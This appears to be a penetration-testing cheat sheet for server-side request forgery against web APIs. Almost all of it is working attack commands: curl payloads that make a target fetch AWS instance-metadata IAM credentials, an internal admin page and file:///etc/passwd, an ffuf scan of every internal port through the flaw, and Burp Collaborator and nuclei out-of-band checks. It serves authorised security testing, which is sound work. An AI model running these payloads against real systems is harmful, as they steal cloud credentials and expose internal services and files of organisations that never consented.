<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# API Reference — Testing Server-Side Request Forgery via API

## curl — SSRF Payload Injection
```bash
# AWS metadata SSRF
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
  https://target.com/api/import

# Internal network scan
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:8080/admin"}' \
  https://target.com/api/webhooks

# Protocol smuggling
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url":"file:///etc/passwd"}' https://target.com/api/import
```

## Burp Suite — SSRF via Collaborator
```
1. Generate Collaborator payload
2. Inject Collaborator URL into URL-accepting API parameters
3. Monitor Collaborator for DNS/HTTP callbacks
4. Confirmed callback = blind SSRF
```

## nuclei — SSRF Detection
```bash
nuclei -u https://target.com -t http/vulnerabilities/ssrf/ \
  -H "Authorization: Bearer $TOKEN" -severity critical,high

nuclei -u https://target.com -t http/vulnerabilities/ssrf-detect.yaml \
  -oast-url interact.sh
```

## ffuf — Internal Port Scanning via SSRF
```bash
ffuf -u https://target.com/api/import -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:FUZZ"}' \
  -w <(seq 1 65535) -mc 200 -fs 0
```
